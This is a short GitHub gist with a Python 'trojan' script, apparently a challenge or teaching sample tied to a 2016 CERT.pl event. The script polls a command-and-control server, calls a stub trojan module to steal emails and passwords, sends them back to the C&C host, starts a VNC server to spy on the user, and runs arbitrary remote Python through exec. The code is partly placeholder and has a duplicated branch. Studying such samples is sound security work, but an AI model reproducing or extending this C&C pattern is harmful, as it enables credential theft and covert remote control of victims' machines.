Skip to content

Instantly share code, notes, and snippets.

@pawlos
Created November 14, 2016 23:00
Show Gist options
  • Select an option

  • Save pawlos/02bf6d49249b4a12def6525fe2754e62 to your computer and use it in GitHub Desktop.

Select an option

Save pawlos/02bf6d49249b4a12def6525fe2754e62 to your computer and use it in GitHub Desktop.
import requests # http stuff
import trojan # good thing python has everything
import time # got the time
# my secret malware panel
CNC_URL = 'https://secretpanel.ecsm2016.cert.pl'
CNC_PATH = '/get_command'
def cnc_get_command():
# get command from c&c
r = requests.get(CNC_URL + CNC_PATH)
return r.json()
def cnc_send_data(data):
# send informations to c&c
r = requests.get(CNC_URL + CNC_PATH, params={'data': data})
return r.json()
def main():
while True:
command = cnc_get_command()
if command['command'] == 'sleep':
# nothing to do, just
time.sleep(int(command['sleep_seconds']))
elif command['command'] == 'get_emails':
# steal emails from user
emails = trojan.steal_emails()
cnc_send_data(emails)
elif command['command'] == 'get_passwords':
# steal passwords from user
passwords = trojan.steal_passwords()
cnc_send_data(passwords)
elif command['command'] == 'start_vnc':
# start vnc server so we can spy on the computer
emails = trojan.run_vnc_server(5900)
elif command['command'] == 'start_vnc':
# start vnc server so we can spy on the computer
emails = trojan.run_vnc_server(5900)
elif command['command'] == 'eval_code':
# execute our malicious code
exec(command['python_code'])
else:
# otherwise just sleep
time.sleep(100)
if __name__ == '__main__':
print 'Advanced Stealthy Trojan 1337'
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment